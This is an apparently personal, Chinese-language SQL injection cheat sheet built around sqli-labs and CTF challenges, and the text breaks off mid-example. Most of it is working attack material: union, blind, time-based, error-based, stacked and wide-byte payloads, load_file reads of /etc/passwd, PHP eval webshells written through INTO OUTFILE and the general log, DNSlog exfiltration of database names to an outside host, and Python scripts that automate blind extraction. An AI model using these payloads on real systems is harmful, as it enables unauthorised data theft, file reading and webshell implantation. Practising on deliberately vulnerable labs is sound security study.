sql注入总结
[TOC]
前言
关于这个漏洞,非常经典,但是考点又及其多,之前一直学的模模糊糊,遇到困难的地方就难以下手,故这里总结一下思路,参考了很多大佬的文章,十分感谢
sql注入原理
SQL注入实质上是将用户传入的参数没有进行严格的处理拼接sql语句的执行字符串中。
可能存在注入的地方有:登陆页面,搜索,获取HTTP头的信息(client-ip , x-forward-of),订单处理(二次注入)等
注入的参数类型:POST, GET, COOKIES, SERVER 其实只要值传到数据库的执行语句那么就可能存在sql注入。
注入方法:union联合查询,延迟注入,布尔型回显判断注入,将内容输出到DNSlog
常用语句
information_schema包含了大量有用的信息,例如下图 :
常用语句:
#sql
当前用户:select user()
数据库版本:select version() , select @@version
数据库名:select database()
操作系统:select @@version_compile_os
所有变量:show variables
单个变量:select @@secure_file_priv , show variables like 'secure_file_%'
爆字段数:order by 1... ,group by 1...
查库名:select group_concat(schema_name) from information_schema.schemata
查表名:select group_concat(table_name) from information_schema.tables where table_schema='库名'
查字段:select group_concat(column_name) from information_schema.columns where table_name='表名'
读取某行:select * from mysql.user limit n,m // limit m offset n (第n行之后m行,第一行为0)
# mysql.user下有所有的用户信息,其中authentication_string为用户密码的hash,如果可以使用可以修改这个值,那么就可以修改任意用户的密码
读文件:select load_file('/etc/passwd')
写文件:select '<?php @eval($_POST[a]);?>' into outfile '/var/www/html/a.php' //该处文件名无法使用16进制绕过
基本手工注入流程
获取字段数
order by n /*通过不断尝试改变n的值来观察页面反应确定字段数*/
获取系统数据库名
# 在MySQL >5.0中,数据库名存放在information_schema数据库下schemata表schema_name字段中
select null,null,schema_name from information_schema.schemata
获取当前数据库名
select null,null,...,database()
获取数据库中的表
select null,null,...,group_concat(table_name) from information_schema.tables where table_schema=database()
# 或
select null,null,...,table_name from information_schema.tables where table_schema=database() limit 0,1
获取表中字段
这里假设已经获取到表名为user
select null,null,...,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
获取各个字段的值
这里假设已经获取到表名为user,且字段为username和password
select null,group_concat(username,password) from users
万能密码
正常查询语句如下:
mysql_query("select username from users where id='$_GET['id']' ");
我们可以构造万能密码:
' or '1'='1 //完整语句 select username where id='' or '1'='1'
' or 1=1# //完整语句 select username where id='' or 1=1#'
'=0# //完整语句 select username,age from userinfo where id=''=0#
联合注入
xx' union select 1,(select database())#
mysql> select * from users where id=-1 union select 1,user(),3;
+----+----------------+----------+
| id | username | password |
+----+----------------+----------+
| 1 | root@localhost | 3 |
+----+----------------+----------+
1 row in set (0.00 sec)
bool注入
substr(str,start,long)
str是待切分的字符串,start是切分起始位置(下标从1开始),long是切分长度
if(exp1,exp2,exp3)
如果满足exp1,那么执行exp2,否则执行exp3
payload:
xx' or if((substr((select database()),1,1)='c'),1,0) # //判断数据库第一个字符是否为c
xx' or if((substr((select database()),2,1)='t'),1,0) #
假设 , (逗号)被过滤了,可以用如下方式处理
if(exp1, exp2, exp3) => case when exp1 then exp2 else exp3 end
substr(exp1, 1, 1) => substr(exp1) from 1 for 1
xx' or case when (substr((select database()) from 1 for 1)='c') then 1 else 0 end #
假设substr被过滤了,可以用如下方式处理
LOCATE(substr,str,pos)
返回子串 substr 在字符串 str 中的第 pos 位置后第一次出现的位置。如果 substr 不在 str 中返回 0
ps:因为mysql对大小写不敏感,所有写的时候用 locate(binary’S’, str, 1) 加个binary即可
xx' or if((locate(binary'c',(select database()),1)=1),1,0) #
xx' or if((locate(binary't',(select database()),1)=2),1,0) #
延迟注入
在输入无论正确的sql语句还是错误的sql语句页面都一样的情况下可以使用该方法进行判断是否成功
延时注入的本质是执行成功后延时几秒后再回显,反之不会延时直接回显
还是利用if来判断结果正确与否,只是返回值用延时来代替1
方法:sleep,benchmark, 笛卡尔积等
#基于sleep的延迟
xx' or if(length((select database()))>1,sleep(5),1)
#基于笛卡尔乘积运算时间造成的时间延迟
xx' or if(length((select database()))>1,(select count(*) FROM information_schema.columns A,information_schema.columns p B,information_schema.columns C),1)
# 基于benchmark的延迟
xx'or if(length((select database()))>1,(select BENCHMARK(10000000,md5('a'))),1) #--大概会用2S时间
# sleep
mysql> select * from users where id =-1 or if(length((select database()))>1,sleep(2),1);
Empty set (4.02 sec)
# benchmark
mysql> select * from users where id =-1 or if(length((select database()))>1,(select BENCHMARK(10000000,md5('a'))),1);
Empty set (1.40 sec)
benchmark和笛卡尔积的原理实质上是运算时间过长导致的延迟
报错注入
报错注入前提是在后端代码有Exception这种异常处理的回显才能在web中用,不然即使能报错但是你不知道报错内容
报错注入函数很多
1 floor()和rand()
union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a /*利用错误信息得到当前数据库名*/
2 extractvalue()
updatexml一样,限制长度也是32位。
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
3 updatexml()
updatexml()这个函数最多只能爆32位字符,如果要爆的数据超过了这个位数,可以加上使用limit 0,1来查询后面数据。
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
4 geometrycollection()
id=1 and geometrycollection((select * from(select * from(select user())a)b))
5.5<mysql版本<5.6
后面几个用法一模一样,不再示范!
5 multipoint()
id=1 and multipoint((select * from(select * from(select user())a)b))
6 polygon()
id=1 and polygon((select * from(select * from(select user())a)b))
7 multipolygon()
id=1 and multipolygon((select * from(select * from(select user())a)b))
8 linestring()
id=1 and linestring((select * from(select * from(select user())a)b))
9 multilinestring()
id=1 and multilinestring((select * from(select * from(select user())a)b))
10 exp()
id=1 and exp(~(select * from(select user())a))
堆叠查询注入
union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句
mysql> select * from users where id=1;select * from users where id =2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 2 | Angelina | I-kill-you |
+----+----------+------------+
1 row in set (0.00 sec)
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服务器在访问数据端时使用的是可同时执行多条sql语句的方法,比如php中mysqli_multi_query()函数,这个函数在支持同时执行多条sql语句,而与之对应的mysqli_query()函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数,简单总结下来就是
目标存在sql注入漏洞
目标未对";"号进行过滤
目标中间层查询数据库信息时可同时执行多条sql语句
实例:sqllibs Less-38:
经过测试存在union联合注入,使用联合注入爆破出users表中有id、username、password三个 字段.
我们来修改下这个用户的密码试试:
http://127.0.0.1/sqli-labs/Less-38/?id=-1'union select 1,username,password from users limit 1,1;update users set password=666 where id=2;--+
我们再来查询下,密码已经被改了
如果select被过滤。可以搭配desc来读取表的字段
宽字节注入
利用条件:
- [查询参数是被单引号包围的,传入的单引号又被转义符()转义,如在后台数据库中对接受的参数使用addslashes()或其过滤函数
- 数据库的编码为GBK
payload:
id = -1%df' union select 1,user(),3,%23
当我们输入payload时,会在我们输入的单引号前加一个转义字符,就成了这样:
id = -1%df\' union select 1,user(),3,%23
在 其中\的十六进制是%5c ,所以就构成了%df%5c,而在GBK编码方式下,%df%5c是一个繁体字“連”,所以单引号成功逃逸。
用sqli-labs靶场进行演示,这里利用32关进行练习
加单引号没有反应,加上%df
成功报错
后面的就正常查询即可,这里不再演示
二次注入
攻击者构造恶意的数据并存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
即输入恶意的数据库查询语句时会被转义,但在数据库调用读取语句时又被还原导致语句执行。
例题:sql-labs 24
我们直接看源码,这是修改密码的部分:
如果我们输入的username变为:
admin'#
那么sql语句就被截断为:
UPDATE users SET PASSWORD='$pass' where username='$username'#
这样就不再需要旧密码,我们来操作一下
注册一个账号:
账号: admin'#
密码: 123456
我们看下数据库:
已经增加了用户进去,我们来修改下密码
旧密码就随便填一个了,然后输入我们的新密码 HY666
我们再看数据库,惊奇的发现admin的密码已经被改了
异或注入
异或是一种逻辑运算,运算法则简言之就是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1),null与任何条件做异或运算都为null,如果从数学的角度理解就是,空集与任何集合的交集都为空。
mysql里异或运算符为^ 或者 xor
两个同为真的条件做异或,结果为假
** 两个同为假的条件做异或,结果为假**
** 一个条件为真,一个条件为假,结果为真**
** null与任何条件(真、假、null)做异或,结果都为null **
^和xor是有区别的
** ^运算符会做位异或运算 如1^2=3 **
mysql> select 1^2;
+-----+
| 1^2 |
+-----+
| 3 |
+-----+
1 row in set (0.00 sec)
mysql> select 1^1;
+-----+
| 1^1 |
+-----+
| 0 |
+-----+
1 row in set (0.00 sec)
** xor做逻辑运算 1 xor 0 会输出1 其他情况输出其他所有数据 **
使用handler进行注入
MySQL 除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句,并没有包含到SQL标准中。handler 语句提供通往表的直接通道的存储引擎接口,可以用于 MyISAM 和 InnoDB 表。
句柄 相当于一个指针,是一个广义的指针,不是特定指向某一个形式(整数、数组、对象等)
# 打开一个表名为 tbl_name 的表的句柄
HANDLER tbl_name OPEN [ [AS] alias]
# 1、通过指定索引查看表,可以指定从索引那一行开始,通过 NEXT 继续浏览
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
# 2、通过索引查看表
# FIRST: 获取第一行(索引最小的一行)
# NEXT: 获取下一行
# PREV: 获取上一行
# LAST: 获取最后一行(索引最大的一行)
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
# 3、不通过索引查看表
# READ FIRST: 获取句柄的第一行
# READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行)
# 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
# 关闭已打开的句柄
HANDLER tbl_name CLOSE
例如,现在已知一张表名为tablename:
handler tablename open;
handler tablename read frist;
handler tablename close;
[强网杯 2019]随便注
查表:
经过测试,存在堆叠注入
http://ec9153a3-31e5-4e9f-a39b-069e74896652.node4.buuoj.cn:81/?inject=-1%27;show%20tables;%23
进一步测试,发现select被过滤
使用desc查一些表:
http://ec9153a3-31e5-4e9f-a39b-069e74896652.node4.buuoj.cn:81/?inject=-1%27;desc%20`1919810931114514`;%23
后面就使用handler读数据:
最终payload:
http://ec9153a3-31e5-4e9f-a39b-069e74896652.node4.buuoj.cn:81/?inject=-1%27;handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;%23
无列名注入
当information_schema库被禁用
在手工SQL注入时,我们常常会想着利用 information_schema库 来进行爆数据库名、表名、字段名,但如果 information_schema库 被禁用了怎么办?
1. sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名.
** 对表自增ID的监控 :**
- sys.schema_auto_increment_columns
我们可以利用这个表来读取表名:
mysql> select table_name from sys.schema_auto_increment_columns;
+--------------------------------+
| table_name |
+--------------------------------+
| zzcms_looked_dls |
| zzcms_ask |
| zzcms_usersetting |
| message |
| zzcms_pinglun |
...
但是 sys.schema_auto_increment_columns这个库有些局限性,一般要超级管理员才可以访问sys。
**查询表的统计信息,其中还包括Innodb缓冲池统计信息,默认情况下按照增删改查操作的总表I/O延迟时间(执行时间)降序排序 **
- sys.schema_table_statistics_with_buffer
- sys.x$schema_table_statistics_with_buffer
- …
mysql> select table_name from sys.schema_table_statistics_with_buffer;
+--------------------------------+
| table_name |
+--------------------------------+
| users |
| sys_config |
| pwmm2nzea4 |
| httpinfo |
| member |
| message |
| users |
...
mysql> select table_name from sys.x$schema_table_statistics_with_buffer;
+--------------------------------+
| table_name |
+--------------------------------+
| users |
| httpinfo |
| zzcms_askclass |
| zzcms_msg |
| zzcms_wangkan |
| emails |
| zzcms_help |
2.InnoDb引擎
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。
mysql.innodb_index_stats、mysql.innodb_table_index同样存放有库名表名
- mysql.innodb_table_stats
mysql> select table_name from mysql.innodb_table_stats;
+---------------+
| table_name |
+---------------+
| gtid_executed |
| sys_config |
+---------------+
2 rows in set (0.00 sec)
- mysql.innodb_index_stats
mysql> select table_name from mysql.innodb_index_stats;
+---------------+
| table_name |
+---------------+
| gtid_executed |
| gtid_executed |
| gtid_executed |
| gtid_executed |
| sys_config |
| sys_config |
| sys_config |
+---------------+
7 rows in set (0.00 sec)
不过这些表里内容并不是很全
不过我们通过以上这些库也仅仅可以知道它们的表名而已,那么我们如何注出它们的字段名呢,这里我们就要引入无列名注入。
取别名绕过列名查数据
正常查询
将列名转换为任何可选的已知值
此时我们发现列名变为1,2,3 受我们所控制
代替列名读取数据
像这样就可以查询第二列的数据,在虚拟表中,列名都是1,2,3,所以我们在查询语句中要用 2
而不能直接用 2
取别名也可以直接在后面加
注入payload
-1'union select 1,(select group_concat(b) from(select 1 as a,2 as b,3 as c union select * from users)as m),3#
利用join爆列名
需要有回显才能使用
由于join是将两张表的列名给加起来,所以有可能会产生相同的列名,而在使用别名时,是不允出现相同的列名的,因此当它们两个一起使用时,就会爆出相同的列名的名称,从而获得列名
正常查询
mysql> select * from users where id=-1;
Empty set (0.00 sec)
使用join连接爆出相同列名的名称
mysql> select * from users where id=-1 union select * from (select * from users as a join users as b) as c;
ERROR 1060 (42S21): Duplicate column name 'id'
爆出剩余的列名名称
mysql> select * from users where id=-1 union select * from (select * from users as a join users as b using(id)) as c;
ERROR 1060 (42S21): Duplicate column name 'username'
---------------------
mysql> select * from users where id=-1 union select * from (select * from users as a join users as b using(id,username)) as c;
ERROR 1060 (42S21): Duplicate column name 'password'
这样所有字段全部都暴出来了
注入payload
# 获取第一个列名
-1' union all select * from (select * from users as a join users as b)as c#
# 获取下一个列名
-1' union all select*from (select * from users as a join users as b using(username))as c#
字符比较查询
要知道比较两个字符串的大小与字符串的长度是没有关系的,给定两个字符串,会各取两个字符串的首字符ascii码来比较,不等式成立返回1,不等式不成立返回0
mysql> select (select 'f')>(select 'a');
+---------------------------+
| (select 'f')>(select 'a') |
+---------------------------+
| 1 |
+---------------------------+
1 row in set (0.00 sec)
mysql> select (select 'f')>(select 'g');
+---------------------------+
| (select 'f')>(select 'g') |
+---------------------------+
| 0 |
+---------------------------+
1 row in set (0.00 sec)
mysql> select (select 'f')>(select 'agggggg');
+---------------------------------+
| (select 'f')>(select 'agggggg') |
+---------------------------------+
| 1 |
+---------------------------------+
1 row in set (0.00 sec)
因为在相等时返回0,所以在进行爆破时,我们爆破出来的1的时候,是比正确字符要大1的,所以在编写脚本时,我们要**-1才能得到正确字符。
所以我们在设置循环上限时ascii值要大于或者等于127**
脚本如下:([GYCTF2020]Ezsqli)
import requests
url='http://e0e4d9bf-1f0b-435c-aedf-6d1aa33856ce.node4.buuoj.cn:81/'
flag=''
for i in range(1,50):
for j in range(32,128):
hexchar=flag+chr(j)
# f1ag_1s_h3r3_hhhhh这个表应该只有一个数据,所以id为1,我们用select 1,xx就可以进行第二个字段的比较了
# 这个payload的意思就是f1ag_1s_h3r3_hhhhh第二个字段的数据每一个字符与这个字符串每隔一个字符一一比较大小,如果这个字符比较大,就返回True。以此类推,不断增加字符串长度,就可以得到完整的数据。
payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
#print(payload)
data={'id':payload}
re=requests.post(url=url,data=data)
if 'Nu1L' in re.text:
flag+=chr(j-1)
print(flag)
break
sql盲注
盲注:即在SQL注入过程中,SQL语句执行查询后,查询数据不能回显到前端页面中,我们需要使用一些特殊的方式来判断或尝试,这个过程成为盲注
1.如果数据库运行返回结果时只反馈对错不会返回数据库中的信息 此时可以采用逻辑判断是否正确的盲注来获取信息。
2.盲注是不能通过直接显示的途径来获取数据库数据的方法。
在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同,一般分为三类,布尔盲注、延时盲注、报错盲注)
布尔盲注
原理:盲注查询是不需要返回结果的,仅判断语句是否正常执行即可,所以其返回可以看到一个布尔值,正常显示为true,报错或者是其他不正常显示为False
注入流程:
流程:
求当前数据库的长度以及ASCII
求当前数据库表的ASCII
求当前数据库表中的个数
求当前数据库表中其中一个表的表名长度
求当前数据库中其中一个表的表名的ASCII
求列名的数量
求列名的长度
求列名的ascii
求字段的数量
求字段内容的长度
求字段内容的ascii
以sql-labs第八关为例:
我们来简单测试下:
http://127.0.0.1/sqli-labs/Less-8/?id=1'and length(database())=1--+
当我们输入这样的语句,界面并没有反应,我们慢慢增加长度,到8时出现变化了:
http://127.0.0.1/sqli-labs/Less-8/?id=1'and length(database())=8--+
这就说明盲注成功了!
剩下的就是结合一些函数提取出对应的字符进行判断即可
这里以sqlabs靶场为例
通过length函数 判断数据库长度和数据表字段信息数量。
通过substr、ascii函数 判断数据库名、表名、字段值等。
求数据库的长度
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database()) = 8 --+
判断数据库第一位的字母
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr(database(),1,1) = 's' --+
求数据库中表的长度
第一个表名长度:'and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6--+
第二个表名长度 'and length((select table_name from information_schema.tables where table_schema='security' limit 1,1))=8--+
长度为6、8
查询第一个表的第一位字符
'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=117--+
查询第二个表的第二个字符
'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=117--+
判断字段的长度
'and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=6--+‘
判断字段长度名称第一个字母的ascii
'and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117--+
判断第二位长度名称第一个字母的ascii
'and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),2,1))=115--+
然而这样的手工注入的效率我们是无法忍受的,我们可以基于二分法编写一个自动化脚本去帮助我们提升效率!
import requests
import time
url = "http://127.0.0.1/sqli-labs/Less-8/"
data= ""
for i in range(10000):
min = 32
max = 128
while (min < max) :
mid = (min + max) // 2
# 爆破数据库名
payload = "?id=1\'and if(ascii(substr(database(),{},1))>{},1,0)%23".format(i, mid)
# 爆破表名
#payload = "?id=1\'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\'security\'),{},1))>{},1,0)%23".format(i, mid)
# 爆破字段
#payload = "?id=1\'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=\'users\'),{},1))>{},1,0)%23".format(i, mid)
# 爆破数据
#payload = "?id=1\'and if(ascii(substr((select group_concat(username) from users),{},1))>{},1,0)%23".format(i, mid)
urls = url+payload
print(urls)
response = requests.get(url=urls)
if "You" in response.text:
min = mid+1
else:
max = mid
mid = (min + max) // 2
data += chr(mid)
print(data)
首先我们启动第一个payload,看一下结果
得到数据库名:
启动第二个payload,得到表名:
启动第三个payload,我们查一下user表的字段
启动最后一个payload,来获取username字段里的数据叭
如图,成功得到了字段里的数据
通过脚本辅助注入可以极大的提升我们的注入效率!
延迟盲注
在输入无论正确的sql语句还是错误的sql语句页面都一样的情况下可以使用该方法进行判断是否成功
延时注入的本质是执行成功后延时几秒后再回显,反之不会延时直接回显
还是利用if来判断结果正确与否,只是返回值用延时来代替1
详情可查看上文,我们可以利用这个来判断是否注入,不过个人觉得并不适合批量跑数据,因为时间有太多的不可控性,我们拿来做个判断就好,同样用sqil-labs8来示范
这个页面过了10s左右才加载完毕,我们可以利用这个来判断是否存在注入
爆错盲注
这里参考上文爆错注入即可,区别就是这个可能无法回显出数据,但是成功与失败页面可能存在差异,可以利用这个差异去编写脚本进行判断
当关键词被过滤使用异或注入代替
当and和or被过滤的时候,我们可以用异或注入然后搭配上面三个去代替,本质上是一样的。
DNS请求注入
DNS平台:
http://www.dnslog.cn
http://ceye.io
DNS注入原理:
dnslog注入也可以称之为dns带外查询,是一种注入姿势,可以通过查询相应的dns解析记录,来获取我们想要的数据
在无法通过联合查询直接获取数据时,只能通过盲注,来一步步的获取数据,手工测试是需要花费大量的时间,使用sqlmap直接去跑出数据,但是有很大的几率,网站把ip给封掉,这就影响了测试进度
前提条件:
dns带外查询属于MySQL注入
在MySQL中有个系统属性,secure_file_priv特性,有三种状态
secure_file_priv为null 表示不允许导入导出
secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时,则表示没有任何限制
我们要让secure_file_priv没有任何限制才能注入成功,我们这里本地搭建环境
让这里为空
相关函数:
LOAD_FILE()函数
读取一个文件并将其内容作为字符串返回
语法:load_file(文件的完整路径)
此函数使用需要满足的条件
要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。
该文件所有字节可读,但文件内容必须小于max_allowed_packet。
如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。
而且LOAD_FILE()函数不仅能够加载本地文件,同时也能对诸如\\www.test.com这样的UNCurl发起请求。
UNC是一种命名惯例,主要用于在Microsoft Windows上指定和映射网络驱动器。
UNC命名惯例最多被应用于局域网中访问文件服务器或者打印机。
我们日常常用的网络共享文件就是这个方式。
UNC路径就是类似\softer这样的形式的网络路径。
格式:\servername\sharename,其中servername是服务器名,sharename是共享资源的名称。
构造注入语句:
(根据实际情况构造)
select load_file(concat('//',(select database()),'.oo0fjh.dnslog.cn/abc'))
select load_file(concat('\\\\',(select database()),'.oo0fjh.dnslog.cn\\123'))
load_file()函数访问的是文件,所以域名后面需要添加/abc
我们来执行一下语句:
如图,这里的security就是我们的数据库名称
mysql关于utf-8编码问题
如果数据库是utf-8编码的情况下,常常会在PHP代码层用无视大小写的字母waf,那么utf-8的
是无法像GBK用宽字节绕过 ‘ ,但是在数据库中utf-8分为2种校对模式
utf8_unicode_ci
该模式会把特殊字母转换成2个正规英文,例如ß=ss
utf8_general_ci
该模式会把特殊字符转换成1个正规英文,例如Ä = A,Ö = O,Ü = U
比如是utf8_general_ci模式,下面是$sql1会被拦截,而$sql2不会被拦截
$sql1 = select * from admin where id = 'xx' union select 1,2,database() #
$sql2 = select * from admin where id = 'xx' uniÖn select 1,2,database() #
if(preg_match('/union/i',$sql1) > 0){
echo 'waf';
}
else{
执行sql语句
}
if(preg_match('/union/i',$sql2) > 0){
echo 'waf';
}
else{
执行sql语句
}
sql注入读取文件
load_file读取文件
文件读取基本条件:
当前用户权限对该文件可读。
文件在该服务器上。
路径完整。
文件大小小于max_sllowed_packet。
当前数据库用户有FILE权限,File_priv为yes
secure_file_priv的值为空,如果值为某目录,那么就只能对该目录的文件进行操作。
查看secure_file_priv
show variables like '%secure%';
在MySQL中有个系统属性,secure_file_priv特性,有三种状态
secure_file_priv为null 表示不允许导入导出
secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时,则表示没有任何限制
如果这个为null我们是无法读取文件的
读取文件命令:
*注意路径问题,是/而不能是*
mysql> select load_file('E:/phpstudy_pro/WWW/flag.txt');
+--------------------------------------------------------------------------------------+
| load_file('E:/phpstudy_pro/WWW/flag.txt') |
+--------------------------------------------------------------------------------------+
| 0x666C61677B746869735F31735F66316161616161677D |
+--------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
当我们使用SQL注入来进行文件读写时,还需要注意,在网站的PHP设置中是否使用了magic_quotes_gpc的魔术引导开关,该参数的设置会对单引号、双引号、反斜杠与空字符进行过滤。这样,当我们使用MySQL进行文件读写,要输入目标站点路径时,就会受到限制。针对这一点,我们可以使用16进制编码的方式来进行绕过。
mysql> select load_file(0x453A2F70687073747564795F70726F2F5757572F666C61672E747874);
+----------------------------------------------------------------------------------------------------------------------------------------------+
| load_file(0x453A2F70687073747564795F70726F2F5757572F666C61672E747874)
|
+----------------------------------------------------------------------------------------------------------------------------------------------+
| 0x666C61677B746869735F31735F66316161616161677D
|
+----------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
Load data infile读取文件
当”LOAD DATA local INFILE”时出现The used command is not allowed with this MySQL version问题时
第一是版本确实过低,低于5.0,但是现在基本不可能出现这个问题。
第二可能是本地导入文件的参数没有打开。
我们输入:
mysql> SHOW VARIABLES LIKE '%local%';
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| local_infile | OFF |
+---------------+-------+
1 row in set, 1 warning (0.00 sec)
发现雀氏没打开哦
我们再输入:
SET GLOBAL local_infile=1;
读取文件payload:
load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
这里我本地复现失败了,我就放一张别人的图吧,qaq
sql注入写shell
into outfile()写文件
写入一句话payload:
select '<?php eval($_POST[cmd]?>' into outfile 'E:/phpstudy_pro/WWW/xx.php';
mysql> select '<?php eval($_POST[cmd]?>' into outfile 'E:/phpstudy_pro/WWW/xx.php';
Query OK, 1 row affected (0.00 sec)
写入的数据可以用16进制代替,但是 outfile后面不能接Ox开头或者char转换以后的路径,只能是单引号路径。这个问题在php注入中更加麻烦,因为会自动将单引号转义,那么基本没的玩了。
select 0x3C3F706870206576616C28245F504F53545B636D645D3F3E into outfile 'E:/phpstudy_pro/WWW/xx.php';
写入shell成功!
into dumpfile()写文件
into dumpfile只能导出第一行数据,并不常用,通常写入第二条数据的时候出错,但第二条内容已被写入文件
select '<?php eval($_POST[cmd]?>' into dumpfile 'D:/HY.php'
写入的数据可以用16进制代替
select 0x3C3F706870206576616C28245F504F53545B636D645D3F3E into dumpfile 'E:/phpstudy_pro/WWW/xx.php';
两者区别
into dumpfile它只能导出一行数据,并不常用,用于导出一条数据,通常写入第二条的时候出错,但第二条内容已被写入文件。
outfile函数可以导出多行,而dumpfile只能导出一行数据。
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式。
dumpfile适用于二进制文件,它会将目标文件吸入同一行内; outfile则更适用于文本文件。
日志写shell
MySQL日志文件系统的组成:
错误日志log_error:记录启动、运行或停止mysqld时出现的问题。
通用日志general_log:记录建立的客户端连接和执行的语句。
更新日志:记录更改数据的语句。该日志在MySQL 5.1中已不再使用。
二进制日志:记录所有更改数据的语句。还用于复制。
慢查询日志slow_query_log:记录所有执行时间超过long_query_time秒(默认10秒)的所有查询或不使用索引的查询。
Innodb日志:innodb redolog
以下举例两种:
show global variables like "%general%"; #查看general文件配置情况
set global general_log='on'; #开启日志记录
set global general_log_file='C:/phpstudy/WWW/shell.php';
select '<?php @eval($_POST[shell]); ?>'; #日志文件导出指定目录
set global general_log=off; #关闭记录
show variables like '%slow%'; #慢查询日志
set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php';
set GLOBAL slow_query_log=on;
/*set GLOBAL log_queries_not_using_indexes=on;
show variables like '%log%';*/
select '<?php phpinfo();?>' from mysql.user where sleep(10);
Mysql任意文件读取
这个解释起来比较多,放个参考链接
https://www.yuque.com/docs/share/8ccbaba4-6b65-492e-9a5d-642609c5823b?# 《MySQL客户端任意文件读取》
MYSQL8.0注入新特性
MYSQL8.0.19后 出现两个新的关键字table和values
环境配置:
** 选择使用docker搭建:**
docker pull mysql:8.0.22
docker run -itd -p 3306:3306 -e MYSQL_ROOT_PASSWORD=HY666123 mysql:8.0.22
# 进去docker容器
docker exec -it 410b0261fe70 bash
# 登陆mysql
mysql -u root -pHY666123
# 开启远程访问权限
use mysql;
select host,user from user;
# 因为mysql8.0默认认证方式和5不一样,通过下面语句修改即可
ALTER USER 'root' IDENTIFIED WITH mysql_native_password BY 'HY666123';
flush privileges;
我们来远程连接一下:
成功连接上去了
sql注入的靶场用sqli-lab
https://github.com/c0ny1/vulstudy
按照文档搭建好,进入容器修改sqli-lab的配置文件
# 启动容器
docker-compose up -d
# 进入sql-labs容器
docker exec -it e0c30b42806f bash
# 编辑文件
vi /app/sql-connections/db-creds.inc
# 配置文件
#数据库的IP填宿主机的就可以,通过ifconfig查看容器IP地址
#比如容器IP为:172.18.0.2,一般来说宿主机为172.18.0.1
<?php
//give your mysql connection username n password
$dbuser ='root';
$dbpass ='HY666123';
$dbname ="security";
$host = '172.18.0.1';
$dbname1 = "challenges";
?>
# 重启docker容器
docker restart e0c30b42806f
搞了好久,终于搭建好了,md
table
基本用法
在MYSQL8以后出现的新语法,作用和select类似。
作用:列出表中全部内容
语法:TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
支持UNION联合查询、ORDER BY排序、LIMIT子句限制产生的行数。
table user order by 2
table user limit 2
与SELECT的区别:
1.TABLE始终显示表的所有列 2.TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句
注意事项:
比较问题一:
我们来构造sql语句:
mysql> select (('r','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1));
+------------------------------------------------------------------------+
| (('r','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1)) |
+------------------------------------------------------------------------+
| 1 |
+------------------------------------------------------------------------+
1 row in set (0.24 sec)
mysql> select (('t','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1));
+------------------------------------------------------------------------+
